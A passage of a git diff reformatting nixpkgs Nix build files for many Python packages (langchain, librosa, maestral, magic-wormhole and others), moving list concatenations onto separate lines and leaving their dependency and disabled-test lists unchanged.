+    "test_prompt_with_llm_and_async_lambda"
+    "test_prompt_with_chat_model_and_parser"
+    "test_combining_sequences"
 
-      # AssertionError: assert [+ received] == [- snapshot]
-      "test_chat_input_schema"
-      # AssertionError: assert {'$defs': {'D...ype': 'array'} == {'$defs': {'D...ype': 'array'}
-      "test_schemas"
-      # AssertionError: assert [+ received] == [- snapshot]
-      "test_graph_sequence_map"
-      "test_representation_of_runnables"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Langchain-core the following tests due to the test comparing execution time with magic values.
-      "test_queue_for_streaming_via_sync_call"
-      "test_same_event_loop"
-      # Comparisons with magic numbers
-      "test_rate_limit_ainvoke"
-      "test_rate_limit_astream"
-    ];
+    # AssertionError: assert [+ received] == [- snapshot]
+    "test_chat_input_schema"
+    # AssertionError: assert {'$defs': {'D...ype': 'array'} == {'$defs': {'D...ype': 'array'}
+    "test_schemas"
+    # AssertionError: assert [+ received] == [- snapshot]
+    "test_graph_sequence_map"
+    "test_representation_of_runnables"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Langchain-core the following tests due to the test comparing execution time with magic values.
+    "test_queue_for_streaming_via_sync_call"
+    "test_same_event_loop"
+    # Comparisons with magic numbers
+    "test_rate_limit_ainvoke"
+    "test_rate_limit_astream"
+  ];
 
   disabledTestPaths = [ "tests/unit_tests/runnables/test_runnable_events_v2.py" ];
 
diff --git a/pkgs/development/python-modules/langchain/default.nix b/pkgs/development/python-modules/langchain/default.nix
index 29138323fb55..3b4948422183 100644
--- a/pkgs/development/python-modules/langchain/default.nix
+++ b/pkgs/development/python-modules/langchain/default.nix
@@ -77,7 +77,8 @@ buildPythonPackage rec {
     requests
     sqlalchemy
     tenacity
-  ] ++ lib.optional (pythonOlder "3.11") async-timeout;
+  ]
+  ++ lib.optional (pythonOlder "3.11") async-timeout;
 
   optional-dependencies = {
     numpy = [ numpy ];
diff --git a/pkgs/development/python-modules/langsmith/default.nix b/pkgs/development/python-modules/langsmith/default.nix
index 111067b979f5..cb2d797f3a85 100644
--- a/pkgs/development/python-modules/langsmith/default.nix
+++ b/pkgs/development/python-modules/langsmith/default.nix
@@ -65,7 +65,8 @@ buildPythonPackage rec {
     pytest-vcr
     pytestCheckHook
     uvicorn
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ attr ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ attr ];
 
   disabledTests = [
     # These tests require network access
diff --git a/pkgs/development/python-modules/lastversion/default.nix b/pkgs/development/python-modules/lastversion/default.nix
index 48d3b15ff000..cab270a7c0f2 100644
--- a/pkgs/development/python-modules/lastversion/default.nix
+++ b/pkgs/development/python-modules/lastversion/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     requests
     tqdm
     urllib3
-  ] ++ cachecontrol.optional-dependencies.filecache;
+  ]
+  ++ cachecontrol.optional-dependencies.filecache;
 
   pythonRelaxDeps = [
     "cachecontrol" # Use newer cachecontrol that uses filelock instead of lockfile
diff --git a/pkgs/development/python-modules/ldaptor/default.nix b/pkgs/development/python-modules/ldaptor/default.nix
index ead49289a35f..c996f7700332 100644
--- a/pkgs/development/python-modules/ldaptor/default.nix
+++ b/pkgs/development/python-modules/ldaptor/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
     six
     twisted
     zope-interface
-  ] ++ twisted.optional-dependencies.tls;
+  ]
+  ++ twisted.optional-dependencies.tls;
 
   nativeCheckInputs = [ twisted ];
 
diff --git a/pkgs/development/python-modules/ledgerblue/default.nix b/pkgs/development/python-modules/ledgerblue/default.nix
index 4885fa14524e..a53dfbce8b96 100644
--- a/pkgs/development/python-modules/ledgerblue/default.nix
+++ b/pkgs/development/python-modules/ledgerblue/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage rec {
     python-gnupg
     python-u2flib-host
     websocket-client
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ bleak ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ bleak ];
 
   # No tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/libpass/default.nix b/pkgs/development/python-modules/libpass/default.nix
index 552635219bd7..73d2b99f6cf6 100644
--- a/pkgs/development/python-modules/libpass/default.nix
+++ b/pkgs/development/python-modules/libpass/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     pytest-archon
     pytest-xdist
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "passlib" ];
 
diff --git a/pkgs/development/python-modules/librosa/default.nix b/pkgs/development/python-modules/librosa/default.nix
index d025a2dcd562..db1e9f5fdae6 100644
--- a/pkgs/development/python-modules/librosa/default.nix
+++ b/pkgs/development/python-modules/librosa/default.nix
@@ -83,36 +83,36 @@ buildPythonPackage rec {
     resampy
     samplerate
     writableTmpDirAsHomeHook
-  ] ++ optional-dependencies.matplotlib;
+  ]
+  ++ optional-dependencies.matplotlib;
 
-  disabledTests =
-    [
-      # requires network access
-      "test_example"
-      "test_example_info"
-      "test_load_resample"
-      "test_cite_released"
-      "test_cite_badversion"
-      "test_cite_unreleased"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # crashing the python interpreter
-      "test_unknown_time_unit"
-      "test_unknown_wavaxis"
-      "test_waveshow_unknown_wavaxis"
-      "test_waveshow_bad_maxpoints"
-      "test_waveshow_deladaptor"
-      "test_waveshow_disconnect"
-      "test_unknown_axis"
-      "test_axis_bound_warning"
-      "test_auto_aspect"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # Flaky (numerical comparison fails)
-      "test_istft_multi"
-      "test_pitch_shift_multi"
-      "test_time_stretch_multi"
-    ];
+  disabledTests = [
+    # requires network access
+    "test_example"
+    "test_example_info"
+    "test_load_resample"
+    "test_cite_released"
+    "test_cite_badversion"
+    "test_cite_unreleased"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # crashing the python interpreter
+    "test_unknown_time_unit"
+    "test_unknown_wavaxis"
+    "test_waveshow_unknown_wavaxis"
+    "test_waveshow_bad_maxpoints"
+    "test_waveshow_deladaptor"
+    "test_waveshow_disconnect"
+    "test_unknown_axis"
+    "test_axis_bound_warning"
+    "test_auto_aspect"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # Flaky (numerical comparison fails)
+    "test_istft_multi"
+    "test_pitch_shift_multi"
+    "test_time_stretch_multi"
+  ];
 
   meta = {
     description = "Python library for audio and music analysis";
diff --git a/pkgs/development/python-modules/libtmux/default.nix b/pkgs/development/python-modules/libtmux/default.nix
index 732881f975e9..22aa7862545b 100644
--- a/pkgs/development/python-modules/libtmux/default.nix
+++ b/pkgs/development/python-modules/libtmux/default.nix
@@ -40,22 +40,21 @@ buildPythonPackage rec {
 
   pytestFlagsArray = [ "tests" ];
 
-  disabledTests =
-    [
-      # Fail with: 'no server running on /tmp/tmux-1000/libtmux_test8sorutj1'.
-      "test_new_session_width_height"
-      # Assertion error
-      "test_capture_pane_start"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # tests/test_pane.py:113: AssertionError
-      "test_capture_pane_start"
-      # assert (1740973920.500444 - 1740973919.015309) <= 1.1
-      "test_retry_three_times"
-      "test_function_times_out_no_raise"
-      # assert False
-      "test_retry_three_times_no_raise_assert"
-    ];
+  disabledTests = [
+    # Fail with: 'no server running on /tmp/tmux-1000/libtmux_test8sorutj1'.
+    "test_new_session_width_height"
+    # Assertion error
+    "test_capture_pane_start"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # tests/test_pane.py:113: AssertionError
+    "test_capture_pane_start"
+    # assert (1740973920.500444 - 1740973919.015309) <= 1.1
+    "test_retry_three_times"
+    "test_function_times_out_no_raise"
+    # assert False
+    "test_retry_three_times_no_raise_assert"
+  ];
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [ "tests/test/test_retry.py" ];
 
diff --git a/pkgs/development/python-modules/lightgbm/default.nix b/pkgs/development/python-modules/lightgbm/default.nix
index 09808cafb11b..f30739159a8a 100644
--- a/pkgs/development/python-modules/lightgbm/default.nix
+++ b/pkgs/development/python-modules/lightgbm/default.nix
@@ -65,7 +65,8 @@ buildPythonPackage rec {
     pathspec
     pyproject-metadata
     writableTmpDirAsHomeHook
-  ] ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_nvcc ];
 
   dontUseCmakeConfigure = true;
 
@@ -95,14 +96,13 @@ buildPythonPackage rec {
       cffi
       pyarrow
     ];
-    dask =
-      [
-        dask
-        pandas
-      ]
-      ++ dask.optional-dependencies.array
-      ++ dask.optional-dependencies.dataframe
-      ++ dask.optional-dependencies.distributed;
+    dask = [
+      dask
+      pandas
+    ]
+    ++ dask.optional-dependencies.array
+    ++ dask.optional-dependencies.dataframe
+    ++ dask.optional-dependencies.distributed;
     pandas = [ pandas ];
     scikit-learn = [ scikit-learn ];
   };
diff --git a/pkgs/development/python-modules/limits/default.nix b/pkgs/development/python-modules/limits/default.nix
index 9f154d3dee0f..523f2c218871 100644
--- a/pkgs/development/python-modules/limits/default.nix
+++ b/pkgs/development/python-modules/limits/default.nix
@@ -96,7 +96,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytest-lazy-fixtures
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [ "test_moving_window_memcached" ];
 
diff --git a/pkgs/development/python-modules/limnoria/default.nix b/pkgs/development/python-modules/limnoria/default.nix
index c61df1df5171..bef6495dd28f 100644
--- a/pkgs/development/python-modules/limnoria/default.nix
+++ b/pkgs/development/python-modules/limnoria/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     pysocks
     python-dateutil
     python-gnupg
-  ] ++ lib.optionals (pythonOlder "3.9") [ pytz ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ pytz ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/line-profiler/default.nix b/pkgs/development/python-modules/line-profiler/default.nix
index 91e77789b4b1..7d1642440914 100644
--- a/pkgs/development/python-modules/line-profiler/default.nix
+++ b/pkgs/development/python-modules/line-profiler/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     ubelt
-  ] ++ optional-dependencies.ipython;
+  ]
+  ++ optional-dependencies.ipython;
 
   dontUseCmakeConfigure = true;
 
diff --git a/pkgs/development/python-modules/llguidance/default.nix b/pkgs/development/python-modules/llguidance/default.nix
index 578f9ddeb45f..a9aa721066ed 100644
--- a/pkgs/development/python-modules/llguidance/default.nix
+++ b/pkgs/development/python-modules/llguidance/default.nix
@@ -71,21 +71,20 @@ buildPythonPackage rec {
     rm -r python/llguidance
   '';
 
-  disabledTests =
-    [
-      # Require internet access (https://huggingface.co)
-      "test_grammar"
-      "test_incomplete_tokenizer"
-      "test_par_errors"
-      "test_par_grammar"
-      "test_tokenize_partial_basic"
-      "test_tokenize_partial_docs"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # torch._inductor.exc.CppCompileError: C++ compile error
-      # OpenMP support not found.
-      "test_mask_data_torch"
-    ];
+  disabledTests = [
+    # Require internet access (https://huggingface.co)
+    "test_grammar"
+    "test_incomplete_tokenizer"
+    "test_par_errors"
+    "test_par_grammar"
+    "test_tokenize_partial_basic"
+    "test_tokenize_partial_docs"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # torch._inductor.exc.CppCompileError: C++ compile error
+    # OpenMP support not found.
+    "test_mask_data_torch"
+  ];
 
   disabledTestPaths = [
     # Require internet access (https://huggingface.co)
diff --git a/pkgs/development/python-modules/llmx/default.nix b/pkgs/development/python-modules/llmx/default.nix
index aa1b526782da..7e122e793618 100644
--- a/pkgs/development/python-modules/llmx/default.nix
+++ b/pkgs/development/python-modules/llmx/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     transformers = [
       accelerate
       transformers
-    ] ++ transformers.optional-dependencies.torch;
+    ]
+    ++ transformers.optional-dependencies.torch;
   };
 
   # Tests of llmx try to access openai, google, etc.
diff --git a/pkgs/development/python-modules/lm-eval/default.nix b/pkgs/development/python-modules/lm-eval/default.nix
index 4fbd9dc93ef7..fc59f1dbad93 100644
--- a/pkgs/development/python-modules/lm-eval/default.nix
+++ b/pkgs/development/python-modules/lm-eval/default.nix
@@ -122,7 +122,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ optional-dependencies.api;
+  ]
+  ++ optional-dependencies.api;
 
   preCheck = ''
     export HOME=$TMP
diff --git a/pkgs/development/python-modules/localstack-ext/default.nix b/pkgs/development/python-modules/localstack-ext/default.nix
index 0d3cfe57dcfd..f1fa5ba5278f 100644
--- a/pkgs/development/python-modules/localstack-ext/default.nix
+++ b/pkgs/development/python-modules/localstack-ext/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     requests
     tabulate
     python-dateutil
-  ] ++ python-jose.optional-dependencies.cryptography;
+  ]
+  ++ python-jose.optional-dependencies.cryptography;
 
   pythonImportsCheck = [ "localstack" ];
 
diff --git a/pkgs/development/python-modules/logbook/default.nix b/pkgs/development/python-modules/logbook/default.nix
index f8043beac697..ec1a5209f612 100644
--- a/pkgs/development/python-modules/logbook/default.nix
+++ b/pkgs/development/python-modules/logbook/default.nix
@@ -54,7 +54,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pytest-rerunfailures
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # Some of the tests use localhost networking.
   __darwinAllowLocalNetworking = true;
diff --git a/pkgs/development/python-modules/logilab/common.nix b/pkgs/development/python-modules/logilab/common.nix
index cac45f9dd007..cdfa19c1acc2 100644
--- a/pkgs/development/python-modules/logilab/common.nix
+++ b/pkgs/development/python-modules/logilab/common.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     setuptools
     mypy-extensions
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/loguru/default.nix b/pkgs/development/python-modules/loguru/default.nix
index 5fa1a0251bc5..bebb2c6505c3 100644
--- a/pkgs/development/python-modules/loguru/default.nix
+++ b/pkgs/development/python-modules/loguru/default.nix
@@ -36,24 +36,24 @@ buildPythonPackage rec {
     colorama
     freezegun
     pytest-mypy-plugins
-  ] ++ lib.optional (pythonOlder "3.10") exceptiongroup;
+  ]
+  ++ lib.optional (pythonOlder "3.10") exceptiongroup;
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [ "tests/test_multiprocessing.py" ];
 
-  disabledTests =
-    [
-      # fails on some machine configurations
-      # AssertionError: assert '' != ''
-      "test_file_buffering"
-      # Slow test
-      "test_time_rotation"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_rotation_and_retention"
-      "test_rotation_and_retention_timed_file"
-      "test_renaming"
-      "test_await_complete_inheritance"
-    ];
+  disabledTests = [
+    # fails on some machine configurations
+    # AssertionError: assert '' != ''
+    "test_file_buffering"
+    # Slow test
+    "test_time_rotation"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_rotation_and_retention"
+    "test_rotation_and_retention_timed_file"
+    "test_renaming"
+    "test_await_complete_inheritance"
+  ];
 
   pythonImportsCheck = [ "loguru" ];
 
diff --git a/pkgs/development/python-modules/lomond/default.nix b/pkgs/development/python-modules/lomond/default.nix
index 7df0b38d54fe..027e068fa544 100644
--- a/pkgs/development/python-modules/lomond/default.nix
+++ b/pkgs/development/python-modules/lomond/default.nix
@@ -39,16 +39,15 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # Makes HTTP requests
-      "test_proxy"
-      "test_live"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # https://github.com/wildfoundry/dataplicity-lomond/issues/91
-      "test_that_on_ping_responds_with_pong"
-    ];
+  disabledTests = [
+    # Makes HTTP requests
+    "test_proxy"
+    "test_live"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # https://github.com/wildfoundry/dataplicity-lomond/issues/91
+    "test_that_on_ping_responds_with_pong"
+  ];
 
   disabledTestPaths = [
     # requires tornado_4, which is not compatible with python3.10
diff --git a/pkgs/development/python-modules/lxml/default.nix b/pkgs/development/python-modules/lxml/default.nix
index f3f520f6ffb8..4d983bc10d48 100644
--- a/pkgs/development/python-modules/lxml/default.nix
+++ b/pkgs/development/python-modules/lxml/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     libxslt.dev
     cython
     setuptools
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcodebuild ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcodebuild ];
   buildInputs = [
     libxml2
     libxslt
diff --git a/pkgs/development/python-modules/m2crypto/default.nix b/pkgs/development/python-modules/m2crypto/default.nix
index 5de2f6cd1996..ae7672fd205e 100644
--- a/pkgs/development/python-modules/m2crypto/default.nix
+++ b/pkgs/development/python-modules/m2crypto/default.nix
@@ -35,16 +35,15 @@ buildPythonPackage rec {
 
   buildInputs = [ openssl ];
 
-  env =
-    {
-      NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin (toString [
-        "-Wno-error=implicit-function-declaration"
-        "-Wno-error=incompatible-pointer-types"
-      ]);
-    }
-    // lib.optionalAttrs (stdenv.hostPlatform != stdenv.buildPlatform) {
-      CPP = "${stdenv.cc.targetPrefix}cpp";
-    };
+  env = {
+    NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin (toString [
+      "-Wno-error=implicit-function-declaration"
+      "-Wno-error=incompatible-pointer-types"
+    ]);
+  }
+  // lib.optionalAttrs (stdenv.hostPlatform != stdenv.buildPlatform) {
+    CPP = "${stdenv.cc.targetPrefix}cpp";
+  };
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/macholib/default.nix b/pkgs/development/python-modules/macholib/default.nix
index 6bf2ec3eeeb7..00cc630dfdac 100644
--- a/pkgs/development/python-modules/macholib/default.nix
+++ b/pkgs/development/python-modules/macholib/default.nix
@@ -25,13 +25,12 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      altgraph
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      typing-extensions
-    ];
+  dependencies = [
+    altgraph
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    typing-extensions
+  ];
 
   # Checks assume to find darwin specific libraries
   doCheck = stdenv.buildPlatform.isDarwin;
diff --git a/pkgs/development/python-modules/maestral/default.nix b/pkgs/development/python-modules/maestral/default.nix
index 97b67651e19b..78ddcc7d8d51 100644
--- a/pkgs/development/python-modules/maestral/default.nix
+++ b/pkgs/development/python-modules/maestral/default.nix
@@ -64,7 +64,8 @@ buildPythonPackage rec {
     typing-extensions
     watchdog
     xattr
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ rubicon-objc ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ rubicon-objc ];
 
   makeWrapperArgs = [
     # Add the installed directories to the python path so the daemon can find them
@@ -81,37 +82,36 @@ buildPythonPackage rec {
     export HOME=$(mktemp -d)
   '';
 
-  disabledTests =
-    [
-      # We don't want to benchmark
-      "test_performance"
-      # Requires systemd
-      "test_autostart"
-      # Requires network access
-      "test_check_for_updates"
-      # Tries to look at /usr
-      "test_filestatus"
-      "test_path_exists_case_insensitive"
-      "test_cased_path_candidates"
-      # AssertionError
-      "test_locking_multiprocess"
-      # OSError: [Errno 95] Operation not supported
-      "test_move_preserves_xattrs"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # maetral daemon does not start but worked in real environment
-      "test_catching_non_ignored_events"
-      "test_connection"
-      "test_event_handler"
-      "test_fs_ignore_tree_creation"
-      "test_lifecycle"
-      "test_notify_level"
-      "test_notify_snooze"
-      "test_receiving_events"
-      "test_remote_exceptions"
-      "test_start_already_running"
-      "test_stop"
-    ];
+  disabledTests = [
+    # We don't want to benchmark
+    "test_performance"
+    # Requires systemd
+    "test_autostart"
+    # Requires network access
+    "test_check_for_updates"
+    # Tries to look at /usr
+    "test_filestatus"
+    "test_path_exists_case_insensitive"
+    "test_cased_path_candidates"
+    # AssertionError
+    "test_locking_multiprocess"
+    # OSError: [Errno 95] Operation not supported
+    "test_move_preserves_xattrs"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # maetral daemon does not start but worked in real environment
+    "test_catching_non_ignored_events"
+    "test_connection"
+    "test_event_handler"
+    "test_fs_ignore_tree_creation"
+    "test_lifecycle"
+    "test_notify_level"
+    "test_notify_snooze"
+    "test_receiving_events"
+    "test_remote_exceptions"
+    "test_start_already_running"
+    "test_stop"
+  ];
 
   pythonImportsCheck = [ "maestral" ];
 
diff --git a/pkgs/development/python-modules/magic-wormhole-mailbox-server/default.nix b/pkgs/development/python-modules/magic-wormhole-mailbox-server/default.nix
index 0459564e2a63..189a94dbf726 100644
--- a/pkgs/development/python-modules/magic-wormhole-mailbox-server/default.nix
+++ b/pkgs/development/python-modules/magic-wormhole-mailbox-server/default.nix
@@ -24,15 +24,14 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      attrs
-      autobahn
-      setuptools # pkg_resources is referenced at runtime
-      twisted
-    ]
-    ++ autobahn.optional-dependencies.twisted
-    ++ twisted.optional-dependencies.tls;
+  dependencies = [
+    attrs
+    autobahn
+    setuptools # pkg_resources is referenced at runtime
+    twisted
+  ]
+  ++ autobahn.optional-dependencies.twisted
+  ++ twisted.optional-dependencies.tls;
 
   pythonImportsCheck = [ "wormhole_mailbox_server" ];
 
diff --git a/pkgs/development/python-modules/magic-wormhole/default.nix b/pkgs/development/python-modules/magic-wormhole/default.nix
index d4cc8603e4cf..de5ad161694f 100644
--- a/pkgs/development/python-modules/magic-wormhole/default.nix
+++ b/pkgs/development/python-modules/magic-wormhole/default.nix
@@ -65,25 +65,24 @@ buildPythonPackage rec {
     versioneer
   ];
 
-  dependencies =
-    [
-      attrs
-      autobahn
-      automat
-      click
-      cryptography
-      humanize
-      iterable-io
-      pynacl
-      qrcode
-      spake2
-      tqdm
-      twisted
-      txtorcon
-      zipstream-ng
-    ]
-    ++ autobahn.optional-dependencies.twisted
-    ++ twisted.optional-dependencies.tls;
+  dependencies = [
+    attrs
+    autobahn
+    automat
+    click
+    cryptography
+    humanize
+    iterable-io
+    pynacl
+    qrcode
+    spake2
+    tqdm
+    twisted
+    txtorcon
+    zipstream-ng
+  ]
+  ++ autobahn.optional-dependencies.twisted
+  ++ twisted.optional-dependencies.tls;
 
   optional-dependencies = {
     dilation = [ noiseprotocol ];
@@ -93,14 +92,13 @@ buildPythonPackage rec {
     installShellFiles
   ];
 
-  nativeCheckInputs =
-    [
-      magic-wormhole-mailbox-server
-      magic-wormhole-transit-relay
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.dilation
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ unixtools.locale ];
+  nativeCheckInputs = [
+    magic-wormhole-mailbox-server
+    magic-wormhole-transit-relay
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.dilation
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ unixtools.locale ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/mako/default.nix b/pkgs/development/python-modules/mako/default.nix
index f2d95cfff5d3..e12d7fd4c1f2 100644
--- a/pkgs/development/python-modules/mako/default.nix
+++ b/pkgs/development/python-modules/mako/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     chameleon
     mock
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = lib.optionals isPyPy [
     # https://github.com/sqlalchemy/mako/issues/315
diff --git a/pkgs/development/python-modules/mamba-ssm/default.nix b/pkgs/development/python-modules/mamba-ssm/default.nix
index 759947cea2b9..54c45d18d90a 100644
--- a/pkgs/development/python-modules/mamba-ssm/default.nix
+++ b/pkgs/development/python-modules/mamba-ssm/default.nix
@@ -60,7 +60,8 @@ buildPythonPackage rec {
 
   env = {
     MAMBA_FORCE_BUILD = "TRUE";
-  } // lib.optionalAttrs cudaSupport { CUDA_HOME = "${lib.getDev cudaPackages.cuda_nvcc}"; };
+  }
+  // lib.optionalAttrs cudaSupport { CUDA_HOME = "${lib.getDev cudaPackages.cuda_nvcc}"; };
 
   # pytest tests not enabled due to nvidia GPU dependency
   pythonImportsCheck = [ "mamba_ssm" ];
diff --git a/pkgs/development/python-modules/manifest-ml/default.nix b/pkgs/development/python-modules/manifest-ml/default.nix
index 3772b33f2a29..a364d0b366d2 100644
--- a/pkgs/development/python-modules/manifest-ml/default.nix
+++ b/pkgs/development/python-modules/manifest-ml/default.nix
@@ -84,7 +84,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME=$TMPDIR
diff --git a/pkgs/development/python-modules/manim-slides/default.nix b/pkgs/development/python-modules/manim-slides/default.nix
index b5ad137f26b9..9ff812373508 100644
--- a/pkgs/development/python-modules/manim-slides/default.nix
+++ b/pkgs/development/python-modules/manim-slides/default.nix
@@ -56,34 +56,33 @@ buildPythonPackage rec {
     "qtpy"
   ];
 
-  dependencies =
-    [
-      beautifulsoup4
-      click
-      click-default-group
-      jinja2
-      lxml
-      numpy
-      pillow
-      pydantic
-      pydantic-extra-types
-      python-pptx
-      qtpy
-      requests
-      rich
-      rtoml
-      tqdm
+  dependencies = [
+    beautifulsoup4
+    click
+    click-default-group
+    jinja2
+    lxml
+    numpy
+    pillow
+    pydantic
+    pydantic-extra-types
+    python-pptx
+    qtpy
+    requests
+    rich
+    rtoml
+    tqdm
 
-      # avconv is a potential alternative
-      ffmpeg
-      # This could also be manimgl, but that is not (yet) packaged
-      manim
-    ]
-    ++ lib.lists.optional (!withGui) ipython
-    ++
-      lib.lists.optional withGui
-        # dependency of qtpy (could also be pyqt5)
-        pyqt6;
+    # avconv is a potential alternative
+    ffmpeg
+    # This could also be manimgl, but that is not (yet) packaged
+    manim
+  ]
+  ++ lib.lists.optional (!withGui) ipython
+  ++
+    lib.lists.optional withGui
+      # dependency of qtpy (could also be pyqt5)
+      pyqt6;
 
   pythonImportsCheck = [ "manim_slides" ];
 
diff --git a/pkgs/development/python-modules/marimo/default.nix b/pkgs/development/python-modules/marimo/default.nix
index 631388c4f32b..69ba558d227d 100644
--- a/pkgs/development/python-modules/marimo/default.nix
+++ b/pkgs/development/python-modules/marimo/default.nix
@@ -67,7 +67,8 @@ buildPythonPackage rec {
     tomlkit
     uvicorn
     websockets
-  ] ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ];
 
   pythonImportsCheck = [ "marimo" ];
 
diff --git a/pkgs/development/python-modules/markdown-it-py/default.nix b/pkgs/development/python-modules/markdown-it-py/default.nix
index 8aa6678241f2..d29df9a34803 100644
--- a/pkgs/development/python-modules/markdown-it-py/default.nix
+++ b/pkgs/development/python-modules/markdown-it-py/default.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-regressions
     pytestCheckHook
-  ] ++ optional-dependencies.linkify;
+  ]
+  ++ optional-dependencies.linkify;
 
   # disable and remove benchmark tests
   preCheck = ''
diff --git a/pkgs/development/python-modules/marko/default.nix b/pkgs/development/python-modules/marko/default.nix
index fc566be08b39..2e6bc28b8d1e 100644
--- a/pkgs/development/python-modules/marko/default.nix
+++ b/pkgs/development/python-modules/marko/default.nix
@@ -41,12 +41,11 @@ buildPythonPackage rec {
     "marko"
   ];
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.toc
-    ++ optional-dependencies.codehilite;
+  nativeCheckInputs = [
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.toc
+  ++ optional-dependencies.codehilite;
 
   meta = {
     changelog = "https://github.com/frostming/marko/blob/${src.tag}/CHANGELOG.md";
diff --git a/pkgs/development/python-modules/markups/default.nix b/pkgs/development/python-modules/markups/default.nix
index a42e4cfb9239..bac7b1332995 100644
--- a/pkgs/development/python-modules/markups/default.nix
+++ b/pkgs/development/python-modules/markups/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     python-markdown-math
     pyyaml
     textile
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/marshmallow-dataclass/default.nix b/pkgs/development/python-modules/marshmallow-dataclass/default.nix
index 7a2ebe81d97b..f42e10f6a268 100644
